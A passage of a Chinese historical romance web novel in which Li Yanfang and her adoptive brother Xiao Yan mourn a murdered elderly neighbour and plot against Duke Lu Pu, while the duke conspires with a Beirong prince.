发生在陆家的事情真相如何无人在意,但为了达到某些目的,他们必然不会善罢甘休,加之北戎王子将至,朝中多少人明里暗里要对此次议和下功夫,这股邪风只会愈演愈烈。
“那阿姊为何不接下,也好替我筹谋一二,免得我有疏漏,叫人捡了便宜。”萧偃穷追不舍。
李宴方结舌,她本该接下。
可是他越是热情,越是坦荡,越是不顾一切,她就越是担忧,越是拘谨,越是退避三舍。
这种疯狂蔓生于胸腔中复杂的情绪如千万条藤丝缠绕着,叫她无法抽身而出,做出判断。
“来日再说吧。”搪塞,回避,她落荒而逃,快步走出小屋。
被甩在身后的萧偃盯着她离去的方向,眼里有落魄,更藏有不甘。
*
李宴方枯坐于书房中,长桌上研好的墨早已干枯,她已然忘却自己要做什么,只剩下心烦意乱。
照清昨夜为保护她受到些惊吓,现在补眠休整去了,这副失魂落魄的模样倒也无人瞧见。
申时,何梦华上山来见她,她才从屋内走出。
“宴方,来,看婆婆给你挑的绒花绢花。这是浅蓝的芍药,这是淡青的竹叶,这是紫玉瓣、白银芯的兰花……”
自上次相见那一番话后,何婆婆依旧把李宴方当作金桂巷中的那个小女孩,她见不得李宴方整日披麻戴孝,失了神采。
何梦华放下绢花与其他李宴方交代购买的物什,看着李宴方挑出那一朵芍药,摸索着自己簪在鬓边,正衬锦缎的颜色,她忍不住夸道。
“宴方,你才二十四,有的是青春华年,来日的路可还长着呢。你见着凭陵了吗?昨日我还在你们老宅哪儿见过他,高大威武,可出息了,他一回来就把老屋收拾妥帖,还是和以前一样勤快啊……”
李宴方不知萧偃还回了老宅,只道:“他来看过我的。”
心底涌出歉意,何婆婆真心实意待她,将她当作自家的晚辈,可她这一次却是在利用她。李宴方最初说要绒花,只是为了瞒过萧偃,从而获得她真正需要的剪子药品等物。
李宴方过意不去,便有心提醒她远离纷争:“婆婆可知四和春楼?”
何梦华利索答道:“晓得呀,城西那个酒楼嘛,偶尔有西域的胡人前去兜售香料,我也替贵人去采购过,进进出出我熟得很。”
“胡人?”李宴方黛眉微拧,“何婆婆近来还是先莫前去,北戎在北境吃了败仗,现在来谈议和,只怕居心不良,加之四和春楼还有胡人在,小心他们勾结在一处。”
“也不要让别的婆婆姊妹们去了。”
“还请婆婆记住不可对外声张!”
何梦华真心关切她,其他的卖婆梳头娘子也曾替她打探过消息,她既然知晓,提醒她们一声也是应当的。
15. 交易
是夜,星河暗淡,明月藏行。
屋内漆黑一片,只留下家具物什那冰冷突兀的轮廓暗影,鬼气森森。
可萧偃却能清晰地看清李宴方脸上一丝一毫微妙的表情变化,她横眉冷对,面容不悦。
大概是因为靠得极其近,两人的呼吸喷洒在对方脸上,那连绵不断的气息化作勾卷的烟云,将他胸口呼之欲出的念头彻底勾出。
他更近一步,吻住了李宴方紧抿成一线的丹唇。
干燥接触干燥,柔软印及柔软,他用微带笑意的唇一点一滴地去融化她死守关隘的唇。
她要推开他,但他变本加厉。
唇亡齿亦寒,攻陷初阵的防御,长驱直入,横扫千军。
连天战火喷啸着在心中压抑许久愤怒不甘与烙印在每一寸骨骼里的思念爱恋,喷涌而出的情绪再度化为燃烧的燃料,火势愈演愈烈。
灼烧了许久,终有尽时。
她颤抖的睫毛,如鸦羽遭寒露,在冰凉刺骨的眼泪中扑扇着,挣扎着。
那一双秋水横波的瞳,直勾勾地盯着他,昭彰的厌恶与疯涨的痛恨在其中泛滥成灾,猩红的眼周充着血,血色淹没黑如曜石的眼珠,澄明秋水在一瞬间化作汪洋血海,浪不平,仇难消。
萧偃抵住她的额头,如蝤蛴般优雅颈项被他掐住,开弓横枪的手,斩将夺旗的手,充满力量也沾满鲜血的手,死死地掐住她。
她无法喘气,面色因而变得惨白,瞳孔中充着血,被他擒拿住,按在地狱开门的边缘。
他怒气冲冲地质问她:“为什么?你为什么总要拒绝我?”
她寒若冰霜的脸矜傲的扬着,血瞳里的憎恶痛恨是无声、无字的控诉与诅咒。
这一眼,比酆都阎罗手中的判笔更无情,更不可避不可逃。
他沦陷于倾尽毕生都无法逃脱的绝望与悔恨。
他先一步坠落于地狱业火中,生生世世,不得轮回,无求超脱。
萧偃正在品尝业火炙烤的折磨滋味,但醒来的时候,只有旧屋内深夜的冷意在攻击他的皮肤。
这癫狂的梦境来得莫名其妙,却尤为真实,像极某种先兆和预演。
他一定是疯癫了才会做这样的梦。
“日有所思夜有所梦”八个字浮上心头,拧成一股,变成鞭笞他孝义廉耻的绳鞭,狠狠抽下,抽的血肉模糊,遍体鳞伤。
萧偃起身,推开房门,旧宅的院落如今已空空如也,在黑暗中,他不需要规避任何障碍就能走到主屋,主屋被隔断为三间,处于最正中的是正厅,两侧则是书房与爹娘的寝居。
他迈步走向空荡荡的寝居,他对娘亲的最后印象停留在这里。
那个大雪纷飞的白昼再一次闯入他的记忆中,病气缠身的阿娘在阿姊出门后,虚弱地拉住他的手,抱歉说道:“凭陵,是我和你爹对不知你,把你接来,却没能让你过上好日子……”
不是的,阿娘,没有你们,我就没有家,我已经过得很好了。
夜太静,捉摸不到半点当年遗留的响动留音,他直面床头跪下,愧疚难当,心如刀割。
梦境叫他汗颜,叫他自卑自厌以及自弃。
如果阿娘知道他对阿姊产生了这等卑劣下作的心思,她会如何看他?
阿爹呢?抄起家里的扫帚将他扫地出门么?再狠狠地骂他一句:白眼狼,不孝子?
十几年视如己出的养育之恩换作一句“引狼入室”,悔不当初。
那时候,他就没有家了。
他该如何解释感情变质的前因后果,他又该向谁祈求这一份几乎得不到的原谅?
最激烈的变化是在他得知阿姊订婚消息的那一日。
阿娘去后,阿姊代笔书画挣银两,而他则是去邻居铁匠铺子家替人做工。
他知道阿姊为博名声去参加了洛都文人的一场诗画盛会,却不知道一场盛会成为阿姊婚事的伏笔,直到数月后,鄂国公府的订婚之礼被抬至院落中。
他的阿姊要嫁人了。
她会组建自己的新家庭,有她的丈夫,未来还有她的儿孙,尽管她的儿孙会叫他一声“舅舅”“舅爷”,但他不会与她们生活在一起,他不是她最亲近的家人。
他无法目睹有人与阿姊的关系,比她与自己的更密切。
他不能接受他的家只剩他一个人。
不行,这绝对不行!
早有什么在日月流转中长入他的筋络,深入他的骨髓,是他不可分割的一部分,一旦被剥离下来,只会让他血流如柱,生不如死。
少年的萧凭陵第一次明白奔腾在血管内、咆哮在胸膛里的作祟力量叫占有欲,这让他感到无比可耻与羞愧。
他就是离不开她,他承认了!
于是他豁出廉耻问她,她义正言辞地拒绝。
有一股自卑从心里悄然发出,比躲藏在泥土里的野草籽更隐蔽,也更充满生机,“野火烧不尽,春风吹又生。”(注1)
那时,他总觉得阿姊看上陆韫之,是因为陆韫之出身高贵,才华横溢。
他想,若是有朝一日,他建功立业,她的眼里便也能装下他。
阔别三载,他归来时已是战功彪炳,荣誉满身,可她又拒绝了他。
怎么会呢?
阿姊,你为什么就是不要我?
你甚至连信物都不愿意接下,我哪里不够好?
你总要告诉我。
得不到答案的他在梦里变得癫狂失控。
萧偃仰头长叹,这一夜终究无法安眠,这一生又该何去何从?
*
洛都城郊,雒水悠悠,山林葱葱,如长幅画卷的青山绿水之间缀落着官宦富豪们的别业,以供修养游憩之用。
园中亭台楼阁嵌落于山石错落之间,苍古幽邃;芳馨草木蔓生于水畔石台,妙趣横生。
自园外引进的活水于亭下潺潺作响,池中枯荷已失夏日风姿,只余听雨残意。
在充满中原园林幽趣的画面中,有一人的周身气质却与其格格不入。
他闲坐于亭近水一侧的美人靠上,虽为坐靠,尤显得其姿体雄异,他神情俊爽,五官深邃,眉目间自有一股锐利之气,虽梳起中原样式的冠发,身着中原男子的袍衫,但出身异域而自有的神秘感难以掩饰。
有一人于他身后的游廊中缓步而来,正是陆朴。
脚步很轻,却足以令他回首:“听闻贵朝新册封的舞阳侯竟是国公儿媳之义弟,这层关系旁人可求都求不来,国公是否后悔答应了本王的合作?”
大半个月前,北戎王子那木拓扮作西域的胡商混迹于商队之中,来到洛都,只不过他迟迟未进城,而是成为了鄂国公陆朴的座上之宾。
一头北方草原上年轻的狼,一只洛都城里的老狐狸,狭路相逢,一堆眼,便知对方想要什么。
正如此刻,那木拓虽是问陆朴是否有
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后悔之意,实则是在质疑,陆朴与萧偃有这层关系在,他如何继续保持信任与陆朴合作。
“老夫正为此头疼,”陆朴走近,负手于停中,极目远眺,“不久前我儿亡故,而后发妻发病,已叫我痛苦难言,而在近日我搜集我儿旧物,发觉有异,兴许我儿病逝乃儿媳李氏所为,莫瞧李氏花容玉貌,却心如蛇蝎,歹毒狠辣。”
言之凿凿,似有铁证,然而这些都是他的猜测。
家中异常的事情接二连三地发生,还一个两个都避开了他的耳目,绝非巧合可以解释,这本就令他不快,为了在那木拓面前与萧偃撇清关系,他不介意给李宴方扣上一个莫须有的罪名。
“国公的意思是李氏谋杀亲夫?她为什么要这么做?”那木拓显然不相信这个说法。
陆朴当然不能说因为儿子陆韫之不能人道,不配为人夫,故而引起李氏的厌恶以除之而后快,可若是李氏为此除去陆韫之,徐熙为何会帮她遮掩?
他正欲审问徐熙,徐熙却突发疯病,大夫称其乃丧子之痛所致,想要恢复十分困难。
他只能语焉不详地道:“我儿死后,李氏自请前往上清观祈福,那时正巧萧偃回京,次日萧偃便不顾老朽的面子将公府的护卫全部换成自己人,这其中定有古怪。”
那木拓虽然才二十二岁,比起陆朴这只老狐狸来还差些火候,但自小生长在王庭,头上还有长兄叔父压着,他不得不长起心眼,学会算计,对方的弦外之意不难猜出。
陆朴这一番话暗指两人勾结杀害陆韫之一事,听起来倒像是街头巷尾暗传的奸夫□□合谋杀夫的小道消息。
他心底嗤笑,看来晟朝的鄂国公竟然与嚼舌根的老夫一样。不过此事若是真的,这毒蛇倒是比中原的娇花更特别。
那木拓正声道:“国公的意思,是萧偃暴露了软肋,可依此设计?”
陆朴老眼微眯:“王子果然人中龙凤,一点就透。”
“人中龙凤不敢当,本王不过是带着礼物来同晟国交好的一个生意人罢了。”
“王子所求,实也不难。”
陆朴早与他谈妥条件,那木拓先前曾言,十四州之地有黄河泛滥,北戎乃马上英豪,不善治水,故而十四州可完璧归赵,但北戎亦不做亏损生意,归还十四州的条件便是每年献上岁币锦缎茶叶等财物。
北戎人连年南下劫掠为的就是大批物资,提出这等要求也在陆朴意料之中。
而交易最难达成的地方,是那木拓必取的一物——萧偃首级。
北戎要报四州被夺之仇,在北戎人眼里,他们能以地换财,但绝不能容忍南方的羊群里杀出一匹狼来,占了他们的土地,咬死他们的同胞。
那木拓为人爽朗,听见陆朴豪言,朗声笑语道:“公爷是以为萧偃很好杀?那么公爷所求将太后拉下王座,又是难是易?”
最初,那木拓询问陆朴为何与太后起了矛盾,陆朴坦言他效忠的是先帝高宗而非承天太后,近年来太后有独揽大权之势,他忧心晟朝易主,故有此意。
真真假假,无从判定,但那木拓要杀萧偃,要晟朝内部的政治动荡。
那木拓大气英俊的面庞上泛起笑意,无论哪一步先完成,于北戎而言,皆是大利。
此事虽危机重重,如涉火场,但火中炼有真金,他与陆朴这样的野心勃勃的冒险家,岂能视而不见?
注1出自唐代白居易《赋得古原草送别》。
16. 誓言
山中岁月悠长,李宴方每日抄经、读书,于山间行走吐纳,与金霞道人坐而论道,仿佛外界的纷纷扰扰都与她再无关系,渐渐习惯于“出家人”心无挂碍、清净自在的处境。
就连萧偃都不曾再度上门,李宴方见识过他的热情与坦诚,心道他冷静些也好,见护院的紫电等人安安稳稳地履行职责,也能猜得出他无碍。
她不必担心他。
只不过今晨在她出门之前,有一人到访。
张静真神色慌张地上门求见。
这是一名二十来岁的梳头娘子。她幼时为孤女,被何梦华收养,年纪渐长后,在何梦华的教导下做起梳头娘子,出入高门大户后宅替贵人做事。
李宴方早与她打过交道。
张静真一见到李宴方就扑通跪下:“求李夫人救命!”
李宴方眉心一拧,印象中的张静真是个极为八面玲珑之人,少有如此慌慌张张、不顾一切的模样,她开口:“快先起来,慢慢说来。”
张静真抬起头来,容色疲倦,肤色暗沉,眼圈浮肿,眼下青黑明显,显然昨夜未曾睡好。
她的声音略带沙哑:“何婆婆两日未归,我与姐妹们昨日去寻无果,今日在她的枕头下发现一封信。”
张静真从袖中将其取出,那是一封很厚重的信封,上面写着四个字——“李夫人亲启。”
何梦华的字迹算不上美观优雅,是仅能让人看懂的质朴与粗粝。
李宴方听她说过,她以前在幽州时,家里尚有几个闲钱,短不了她的开蒙,只是后来巨变发生,她逃难到洛都后再也过不上旧日的安逸生活,那时温饱尚成问题,何况读书练字?书法的童子功就此落下。
李宴方接过,拆开,里头是十余张信纸叠成的一封书信。
何婆婆年纪老迈,视物不清,写下的字体比普通人书信中大得多,李宴方粗略浏览了前两页,粗大的字迹入眼,她读取的信息越多,心便越凉,一股担忧从心头窜起,直击脑门。
张静真说,何婆婆已经两日不着家……李宴方还未看完全信,忙让身边的照清唤来紫电。
紫电身影如风,须臾便至:“夫人请吩咐。”
“你可还记得前些日子替我送绢花上门的那位老婆婆的样貌?”
“小人记得。”
“那位老婆婆是我旧时巷中邻里,她于两日前,前往城西四和春楼购置货品,但一去便再无音信,你们兄弟几人可否前去寻找?”
紫电略一沉吟,主子交代过他们几人全听李夫人吩咐,寻人一事不算为难,何况李夫人强调此人为旧日邻里,主子必然也知晓、关切,故而他点头应下,打算前往城中时顺道告知主子。
张静真见李宴方二话不说派人去寻找,紧揪的心松了一两分。
而李宴方捏着信纸的手不断掐紧,宽慰张静真:“我让他们去寻了,你先回家候着,有消息我会知会你。”
张静真颔首,退出正厅。
待她走后,李宴方才流露出懊悔痛苦的神情,她安慰张静真的是假话,她如何不知两日一去,何梦华已是凶多吉少?可尚未得到确凿之前,她不愿意相信惨剧的发生。
她默然地颓坐在圈椅上,喃喃道:“我若是不曾告诉何婆婆四和春楼一事该有多好。”
这是何梦华的一封绝笔信,何婆婆似乎已经料想到,李宴方知晓会心生悔恨,所以早早写下这一封信。
她应是害怕指名道姓会为李宴方带来麻烦,全文用“妮儿”这个洛都大街小巷中长辈称呼女孩儿的称谓作为代称。
如此亲切,反倒让李宴方愧疚更甚,她将纸张再一次展平,细细读来。
“妮儿:我年岁已高,近年来时常忘事,可最不能忘记的是早年自幽州出逃的惨状。先是父亲和兄长在大门前堵住凶恶的北戎兵,娘亲和祖母带着我和妹妹从后门逃走,待跑远了,我就听到父兄的惨叫。”
“第一次离死这么近,那时我十岁,夜里还会做噩梦,在逃亡的路上见多尸体,闻惯气味,麻木之后也就不害怕了。”
“带的口粮不够分,祖母的腿脚不好,还在途中受伤,她说‘你们走吧,不要再带上我了’,娘就带着我们继续逃。”
“逃亡南方的路上,遇上了一艘船,但那船上已经人满为患,我们三人还未上去,北戎兵追了过来,娘用尽全身的力气把我们姐妹推上甲板,可她却被北戎兵一脚踢进河里,她挣扎着游向船只,北戎兵一开弓,将她射成刺猬。”
“江水里全是血,我眼睁睁地看着她在水面沉沉浮浮,她死不瞑目!”
“那一双眼睛恨恨地望着,送我们远去。”
“北戎兵对着船上射箭,船上的一群人慌不择路,把船弄翻,落水后我和妹妹被分开,北戎兵没有停下,水里死了一堆人,我找不到妹妹,后来在混乱中看见妹妹的尸体浮上来。”
“那一天,我的亲人都没了。我被水流冲走,上了岸,继续往南逃,途中遇上大晟的官在救济难民,我才得以活下来。”
“妮儿,我活到这把年纪已经活够本儿了。我终于懂得祖母望着我远去的眼神,你不要为我难过,我如祖母一样做了一件我们认为正确的事。”
“仇不可忘,恨不能消,我后半辈子都在为如何活下去挣扎,却从未想过报仇雪恨,当有贼寇出现在眼前,旧日的画面一一闪过,我不做缩头乌龟,老妇亦有报仇心,老妇亦有报国志!”
一滴豆大的眼泪滴落于纸面,晕湿了“报国”二字,李宴方想起何梦华那日轻松谈及她对四和春楼的熟悉程度,那时她就该想到何婆婆生出去打探消息的想法。
何婆婆走街串巷十多年,在店铺高门里的人多多少少都见过她,她前往反而不容易受到阻拦,不容易被人察觉。
两日未归,她是不是打探到了外敌与内贼勾结的关键消息才遭此不测?!
墨团晕开,险些晕花了“报国”二字,李宴方以袖轻拭墨迹,留下何梦华的一片丹心。
她翻至最后一页:“前路艰险,我若是去了,待来日幽州光复,莫忘烧香两束,告我亡魂,我泉下得知,便可安心。”
何梦华慈祥和煦的脸再度浮现于李宴方眼前,何婆婆曾说她亲人接二连三离世
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,她亲缘淡薄,所以对街坊里的孩子们格外慈爱。
可李宴方呢?一句话,却叫疼爱她的长辈身赴险境。
她迟缓地从纸张上移开双眼,抬起头,山中骄阳正至中天,此时为日光最为灼烈之时,光芒万丈的日晖刺痛黑瞳。
在遍地达官显贵、才子佳人的洛都,一个在街头巷尾,替人买卖、梳头,做着杂活糊口的年老妇人,为蝇头小利四处奔波,她是那么的下等、庸俗,充满市井鄙气。
但在无人窥见的地方,她有一颗勇不畏死的报国丹心。
*
日昏山暝,飞鸟归入沉寂,李宴方在一片黑暗与悄寂中等待消息传回。
萧偃带着紫电、青霜来了。
李宴方终日无心餐饭,只喝了些水,她显得憔悴,失魂落魄,见萧偃前来,忙赶上去问:“有消息么?”
萧偃沉痛地闭上双眼:“派人询问后得知,前两日何婆婆确实去过四和春楼,只是何时出来,无人得知。亲卫便假扮商客前往楼内,一无所获。”
下一句话卡在喉头,极难出口,他强忍心痛,据实以告:“后来……在城外乱葬岗找到了何婆婆……她走的时候没受苦……”
一击致命,必然是在情急的情况下被发现,从而灭口。
萧偃早已见过太多死亡,却极少像这次带来难以释怀的伤痛。
压在李宴方心头一整天的猜测得到证实,巨石落下,激荡起千重巨浪。
她再也无法控制住情感,哭喊道:“她本来可以长命百岁的!是我,是我害了她,我不应该告诉她四和春楼有异动叫她小心,她那么憎恨北戎人,我应该能想到的……她为此豁出命去,却什么也没有得到!”
如果真能借此击毁北戎人的暗巢,破坏他们的计划,想必何婆婆会快慰许多,可惜,这只是如果。
无功而返的一次牺牲,比成功暗淡,更不值一提,可明知不可为而为之、明知九死一生而赴之、明知历经万险而极易功亏一篑,却依旧无畏不退,反而更显壮烈。
宣泄情绪后,李宴方心里空置,她无悲无喜,只剩麻木。
她的自责和懊悔都显得那么可笑,人死不能复生。
萧偃抢过话头:“是我,是我无能,反而让何婆婆身先士卒。”
身为行伍之人的萧偃肩负重担,他更无法忍受本该被他保护的何梦华遭此横祸。
他比她更自责,更痛心,那个前不久还邀请他到家里用饭的老婆婆,关切询问他在北境苦不苦的和善老人,在他的疏忽下,转眼间天人永隔。
可错已铸成,她与他都明白此事无法弥补。
“为了不牵连更多人,”李宴方想起张静真的面庞,她们梳头娘子绝不能再牵扯其中,“我们悄悄把何婆婆火化了吧。”
她抬首,泪光盈盈的眼中有坚定在闪动,她望着萧偃,似是发下什么重誓:“有朝一日,我们送她回幽州。”
“好,我们送她回幽州!”
李宴方和萧偃的第一个约定,关于何梦华,关于一场归乡的梦,是一个人的梦,也是成千上万人的梦。
17. 共犯
月升,夜沉,洛都城门早已关闭,就算是萧侯也无可奈何,因此这一夜,萧偃是留在上清观度过的。
白日里那一阵连绵不绝的钻心刺痛犹未消散,李宴方与萧偃二人均无心睡眠,一人抱臂靠在正厅门框一侧,一人席地而坐于厅前石阶上。
夜静,冬日山里几乎没有虫鸣,显得格外寥落。
倚靠朱门的李宴方蓦地询问:“你是从何时开始追查内贼的?”
“归京之前,十月初。我疑北戎派出谈和的王子提前一步到洛都布局,故而加快回京步伐,大军未至之前,我已在洛都布局。”
“什么?”李宴方诧异不已,念及此事涉及广大,“进来说,把门关上。”
萧偃失笑,附近无人,有的也是他的亲卫,有什么说不得的?但仍是听话地起身迈步。
“边将私自回京,类同谋反的大罪你也敢犯?”
他不会告诉她,追查北戎人是冠冕堂皇的理由,掩盖他为了早一步见她的一丁点儿私心,只是梦境的惩处余威依旧,他被三缄其口。
萧偃故意揭过:“阿姊,你决定报仇的时候都那么冷静吗?”
在李宴方开口的那一刹那,萧偃就明白她的意图,暗巢她要从查,内贼她要捉,何婆婆的仇她要报。
这天下大约再没有谁比他更懂她。
报仇?李宴方再度陷入仇恨中,阿娘那一句“恕人恕己”的劝解如雷般在她耳畔炸鸣。
不,这不可相提并论!
她曾经为报母仇,嫁入鄂国公府,她算计别人,也被别人算计,落得一身狼狈。
可这一次,何婆婆的无功赴死如同午时的烈日,照彻那个被一己私仇而蒙蔽双眼的自己,洞穿她狭隘卑劣的、自私自利的灵魂。
她做不到无动于衷,抛于脑后。
她的手段若是能用在替何婆婆报仇上,替她实现归乡之梦上,那该多好?
“我当年嫁给陆韫之,确实存有报仇之心,也确实在陈家被彻查是添了一把火,只是……”
那三年又浮现脑海,她的心结又隐隐作痛,窝囊,真窝囊啊。
陆韫之是一根刺,扎在李宴方心头,亦扎在萧偃心头,他出言打断了李宴方的话:“回京后,我查过陈家旧事,鄂国公府当年亦有插手,只怕不止有你在做推手。”
“你说陆朴?”
“没错。他与陈同道几乎同时发迹,都与十七年前的二次北征有关,按道理说两人相安无事多年,应当无冤无仇,为何会在多年后参与到推倒陈家的谋划中?”
李宴方当时亦有疑惑,但见陈家没落,她恨不得落井下石,未曾放在心上。
此时思量过往细节,她道:“为了一封信,陆朴要确保那封信回到陆家手中,时至今日,那封信应当已被销毁。”
陆韫之专心修道,无心尔虞我诈,但他为了的陆朴青眼,与李宴方参谋,在这一过程中李宴方得到这一手消息。
她于厅中踱步思量:“这封信定然于陆朴所行之事、或将来欲行之事密切相关,否则过去十余年毫无动静,他怎么会突然在这时出手?当时太后要查陈同道贪污受贿,陆朴大可以作壁上观,为何要冒着被牵涉其中的危险行此下策?”
“只可惜,我没能看到那封信。”那封信连陆韫之都没见过,也仅仅是知道而已。
“阿姊,你想如何处置鄂国公府?”
萧偃询问,灯光自纱罩中透出打在他如美玉雕琢的面庞上,切割出一半平和,一半阴冷,他的杀意尽数藏在那半面阴翳之中。
“我听闻徐夫人病了。”李宴方并未直接回答。
“听说是思子心切,突发疾病。”萧偃给出鄂国公府传出的说辞,丝毫不提杀陆仁吓徐熙的一系列举动。
李宴方却认为是陆朴得知真相后,为将其休弃而作的铺垫,在此情况下,陆仁必然已经为陆朴所杀,泄愤出气。
而对于自己,早前陆朴已经怀疑她,派出公府守卫监视,在从徐夫人口中得知真相后是否会认为她为自保而杀陆韫之?
哪怕没有证据,陆朴也能疑罪从有。
萧偃回来后打断陆朴的计划,让暗杀她变得大有难度,但不代表陆朴会放弃。
若真如她推断的这般,只能先下手为强。
她心底蓦地窜出一股愁绪来,原来作恶杀人之事做多了,真会越来越顺手,哪怕她的初衷并不恶劣,仅是为了保全自己而已。
“鄂国公的身份摆在哪儿,要让他老实消停并不容易,若要下手,只能下重手,否则一击不成,徒增麻烦。”
她一双精明犀利的眼望着他,黑瞳里分明传递着赌上前程与来日的冒险邀约。
“与国公府为敌会有麻烦,你确定要与我一道走一条不归路吗?”
萧偃无奈一笑,她到底是从不相信他?还是很在意他的前途?
但连他自己也不清楚,这笑是带着不被信任、怕生出连累的苦笑,还是她终于决定与他一同踏上前路的喜悦?
“阿姊,你忘了吗?从我在太后面前坦白身世开始,你跟我就无法分开,我说过,要是来日你我之间一人犯下什么诛九族的大罪,我们只会在同一天上断头台,在乱葬岗里等着葬身兽腹。”
他像赌咒一般:“我们是共犯。”
幼时,少年,眼前,以及来日,注定是,永远都是。
“是,我们是。”
李宴方无法拒绝这个说法,她就算想和萧凭陵分道扬镳,鄂国公府也不会如她的愿,不如先了结外部诸事,再来厘清她与萧凭陵的关系,免得先被人摆一手,处于被动,再生事端。
既然萧凭陵这个唯一的九族都不在乎被“诛九族”,那她也没什么好顾忌的。
“当年陆朴在二次北征中立功,继而拥立先帝登基,有从龙之功,要除陆朴,寻常小事未必动得了他,动得了他的只有谋、反、大、罪。”
最后四字从李宴方口中道来,已无声响。
萧偃锋利的剑眉一挑,完全会意,他的阿姊比他想象中还狠辣些,釜底抽薪的法子说来就来,毫不犹豫。
李宴方此刻如同手握生死的地狱判官,冷冷留下裁决:“若他不想反,就构陷他反。”
明明在谈血流成河的恶事,可萧偃的目光却在一瞬间绽出柔和来,这才是他的阿姊,不是那个冷漠的、空洞的、缺乏生机的阿姊,是心狠手辣、不择手段、目标明确的阿姊,哪怕她的初衷并不光正,那又怎么样?
反正他也不是什么好人,要作恶就一起作,要赴死就一起赴死。
他的杀业比她重太多,就算是跌落十八层地狱,也是他在下方垫着她!
萧偃再一次递出玉珏,这一次他手上的伤已经康复。
时过几日,她当接下了吧?
玉珏静静躺在手心,烛光照射,显出莹润晶华。
修长如韧兰玉叶的五指移来,比玉色更莹莹的指尖将其轻轻勾去,修剪得齐整的指甲在他布满细茧的掌中划过,留下如鹤羽轻抚般的感触。
李宴方将犹带温度的玉珏紧握于掌心,问他:“你带回洛都的有多少人?有名册么?他们各自擅长什么?”
他收回随着白羽飘摇远去的心神:“并无名册,不过阿姊若想知道,来日我叫青霜过来,他已将名册背熟。”
“好,”李宴方点点头,亲卫皆是身边人,不留名册叫人无法调查,是出于安全考虑,她明白,“你打算如何处置四和春楼?”
萧偃眉头微紧:“几次调查都已失败告终,不如放弃暗中调查的策略,待寻个由头,突击检查一番,由外突破。”
“此举并非不可,但四和春楼既然能在洛都做暗地里的生意,身后必有人物。”四和春楼的鬼市,李宴方先前都不知,究竟是何方神圣在做幕后黑手,她不自觉攥紧玉珏。
萧偃寒声道:“既然牵扯进胡商与北戎人,近来黑手必有动作,北戎。”
他点到为止,他回京时北戎不动手,说明北戎谋求的是更大的利益。
二人不约而同望向窗外,天色竟然已有将明之兆,萧偃问她:“阿姊可要安寝?”
李宴方摇摇头:“思绪杂乱无章,无心安卧。”
“那我们策马去郊原上看日出吧。”
他似乎来了兴致,言谈之间充溢着少年意气与跳脱雀跃,要帮着她把沉痛与忧愁甩至身后。
她几乎本能地拒
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绝,可今夜畅谈一整晚,他都未曾像先前相逢那般三番四次逾矩,进行一次又一次试探与逼迫,二人似乎变回正常的姐弟。
那她有什么理由拒绝?她只是提出一个很现实的问题:“我许久未骑马。”
少时家境虽尚可,但终究无财力饲养骏马,阿爹会带着她们姐弟二人上集市租借马匹,教二人骑马,只不过这等机会不多,待阿爹去世,她几乎没能再骑过马。
至于嫁入鄂国公府后,陆韫之不喜欢出游,也不喜欢她单独出游,更是无缘策马。
萧偃温声:“阿姊骑我的马就好,它很听话。”
“战马?”
他颔首,唤来紫电,点了随行的几人,整装待发。
果真是擅长奔袭突击的将领,在小事上显见一斑,只是他似乎忘了一事,李宴方颇有些难为情,道:“我去更衣。”
这宽袍长裙自然不适合策马,李宴方疾走回房,挑出一身窄袍和一件大氅,照清已睡下,她自己换上后摘掉发簪,只余素髻,缠上一条与衣袍同色的丝带点缀,出了门。
李宴方见萧偃已在内院的月洞门前等候,她干脆道:“走。”
步行至山下夜色渐退,树下停歇的骏马轮廓隐约可见,萧偃曲指为哨一吹,骏马应声而来。
纯黑的马匹在黑夜中本不明显,但它小跑几步的灵动矫健身姿出卖了行踪,它停住在主人萧偃面前。
微淡的天光下,近一人高的大宛名马高昂头颅,喷着响鼻,它浑身肌肉线条流畅,威武不凡,得到主人命令后显然进入兴奋状态。
萧偃轻抚它的面门,在它耳边低语,那骏马左右甩动的飘扬马尾便停下来。
萧偃回首朝她点头:“阿姊,来。”
他侧过身,给她让出踩马镫的位置,她扶着马鞍,踩上马镫,毫不费力,甚至都没发觉,身后的萧偃举起双手,虚虚地扶着她。
待她坐上马鞍的那一刻,骏马喷了个响鼻,萧偃见状立即安抚,一边把缰绳递给李宴方,一边对着马儿说什么。
他牵着马辔,带着一人一马缓慢迈开步伐,不知他是对谁说:“慢些跑。”
他撒了手,骏马迈开四蹄,驰向漆黑的原野。
马背上的李宴方有瞬间的失神,但很快便紧握缰绳,夹紧马腹,下意识地,她回首寻觅萧偃的踪迹。
黑暗中,一匹骏马加速奔来。
她紧提的心得以放下,只不过,这瞬间的心意失察于今夜的风中,她不曾追究。
在她先行一步后,萧偃翻身上了一名亲卫的马,挥鞭而来。
李宴方与萧偃策马在前,三五亲卫跟随在后,奔向远方天边的青灰。
冬日的寒风吹疼面颊上细腻的皮肤,李宴方没有半点停留。
东方,黑沉广袤的郊原与青黑无际的天幕被夜色粘合,但一道霞光璀璨的裂痕按时而至,撕开寂静的夜色,裂痕不断生长、膨胀,待它在天际中占据半壁江山时,一轮旭日跳跃而出,张狂明艳。
天明。
飞驰的骏马早已停息,李宴方痴痴凝望初升朝阳,心中跳动着莫名的情绪,它像是在尽诉与黑夜的告别,又像是在为踏上前路而鼓舞,它明明只是一次金乌按部就班的日出,可她总觉得,这一天带来悄然的变化。
她身旁,还有一人。
旭日东出,曙光之下,两人两马,天地间的流光刹那即逝,却留下这一幕带着新始意味的画图。
“阿姊,”马背上的萧偃远眺新日,趁着晨曦尚好,李宴方心情舒畅,他问,“太后赏赐我的府邸即将修葺完毕,你可要与我去看看?最好趁着年前把该布置的布置了。”
他想,虽然不够明显,但阿姊当是能读懂,这是邀她同住的意思。
这句话把李宴方拉回过去,他就像很多年前,在年底问她要不要一起上街买福字挑灯笼一样。
她就像许多年前那样回答:“好。”
于情,亲人回归,她这年总不能在山上过;于理,陆朴已经盯上她,留在山中不再安全。
萧偃藏下喜悦,他可耻地发觉,哪怕在严刑拷打之下,也无法叫他放弃,而是步步为营,求她心甘情愿走入他的圈套。
18. 信物
旭日高升,萧偃将李宴方送回上清观后,带着青霜前往洛都远郊的飞捷大营。
而毫无睡意的李宴方短暂休整之后唤来紫电,准备带着照清前往洛阳城金桂巷,她心中有愧,欲亲口告知张静真噩耗,再安抚她。
晨光慷慨洒入金桂巷,巷中的百姓们开始一日的忙碌,一派烟火人间的热闹气氛迎面扑来。
头戴幂篱的李宴方策马而过,闷头往张静真家中去,张静真因是由何梦华抚养成人,成年立业之后便在何梦华家旁边购置房产,从而能更好地侍奉何婆婆。
她知晓何婆婆的住处,便能找到张静真。
不过须臾,李宴方一行人已至,照清轻拍木门,喊道:“张娘子在家么?”
